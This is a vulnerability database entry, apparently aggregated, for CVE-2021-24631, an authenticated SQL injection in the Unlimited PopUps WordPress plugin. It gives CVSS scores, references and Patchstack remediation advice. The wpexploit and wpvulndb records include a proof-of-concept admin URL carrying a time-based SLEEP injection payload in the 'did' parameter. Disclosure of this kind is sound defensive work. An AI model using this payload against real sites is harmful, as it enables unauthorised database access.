Description
The Unlimited PopUps WordPress plugin through 4.5.3 does not sanitise or escape the did GET parameter before using it in a SQL statement, available to users as low as editor, leading to an authenticated SQL Injection
Affected Software
Related
{"id": "CVE-2021-24631", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24631", "description": "The Unlimited PopUps WordPress plugin through 4.5.3 does not sanitise or escape the did GET parameter before using it in a SQL statement, available to users as low as editor, leading to an authenticated SQL Injection", "published": "2021-11-08T18:15:00", "modified": "2021-11-10T02:18:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24631", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/9841176d-1d37-4636-9144-0ca42b6f3605", "https://codevigilant.com/disclosure/2021/wp-plugin-unlimited-popups/"], "cvelist": ["CVE-2021-24631"], "immutableFields": [], "lastseen": "2022-03-23T14:59:49", "viewCount": 9, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:9841176D-1D37-4636-9144-0CA42B6F3605"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:9841176D-1D37-4636-9144-0CA42B6F3605"]}], "rev": 4}, "score": {"value": 3.0, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:9841176D-1D37-4636-9144-0CA42B6F3605"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:9841176D-1D37-4636-9144-0CA42B6F3605"]}]}, "exploitation": null, "vulnersScore": 3.0}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:unlimited_popups_project:unlimited_popups:4.5.3"], "cpe23": ["cpe:2.3:a:unlimited_popups_project:unlimited_popups:4.5.3:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-89"], "affectedSoftware": [{"cpeName": "unlimited_popups_project:unlimited_popups", "version": "4.5.3", "operator": "le", "name": "unlimited popups project unlimited popups"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:unlimited_popups_project:unlimited_popups:4.5.3:*:*:*:*:wordpress:*:*", "versionEndIncluding": "4.5.3", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/9841176d-1d37-4636-9144-0ca42b6f3605", "name": "https://wpscan.com/vulnerability/9841176d-1d37-4636-9144-0ca42b6f3605", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://codevigilant.com/disclosure/2021/wp-plugin-unlimited-popups/", "name": "https://codevigilant.com/disclosure/2021/wp-plugin-unlimited-popups/", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpexploit": [{"lastseen": "2021-11-26T19:27:38", "description": "The plugin does not sanitise or escape the did GET parameter before using it in a SQL statement, available to users as low as editor, leading to an authenticated SQL Injection\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "wpexploit", "title": "Unlimited PopUps <= 4.5.3 - Author+ SQL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24631"], "modified": "2021-10-07T06:30:42", "id": "WPEX-ID:9841176D-1D37-4636-9144-0CA42B6F3605", "href": "", "sourceData": "https://plugins.trac.wordpress.org/browser/unlimited-popups/trunk/popuplist.php#L16\r\n\r\nhttps://example.com/wp-admin/admin.php?page=popup&info=del&did=1%20AND%20(SELECT%204420%20FROM%20(SELECT(SLEEP(5)))yVXX)", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-11-26T19:27:38", "description": "The plugin does not sanitise or escape the did GET parameter before using it in a SQL statement, available to users as low as editor, leading to an authenticated SQL Injection\n\n### PoC\n\nhttps://plugins.trac.wordpress.org/browser/unlimited-popups/trunk/popuplist.php#L16 https://example.com/wp-admin/admin.php?page=popup&info;=del&did;=1%20AND%20(SELECT%204420%20FROM%20(SELECT(SLEEP(5)))yVXX)\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "wpvulndb", "title": "Unlimited PopUps <= 4.5.3 - Author+ SQL Injection", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24631"], "modified": "2021-10-07T06:30:42", "id": "WPVDB-ID:9841176D-1D37-4636-9144-0CA42B6F3605", "href": "https://wpscan.com/vulnerability/9841176d-1d37-4636-9144-0ca42b6f3605", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "patchstack": [{"lastseen": "2022-06-01T19:29:31", "description": "SQL Injection (SQLi) vulnerability discovered by Shreya Pohekar (Codevigilant Project) in WordPress Unlimited PopUps plugin (versions <= 4.5.3).\n\n## Solution\n\n\nDeactivate and delete. This plugin has been closed as of June 22, 2021 and is not available for download. Reason: Security Issue.\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "patchstack", "title": "WordPress Unlimited PopUps plugin <= 4.5.3 - SQL Injection (SQLi) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24631"], "modified": "2021-10-07T00:00:00", "id": "PATCHSTACK:0F1467A4295873DE217339FC584DFBED", "href": "https://patchstack.com/database/vulnerability/unlimited-popups/wordpress-unlimited-popups-plugin-4-5-3-sql-injection-sqli-vulnerability", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}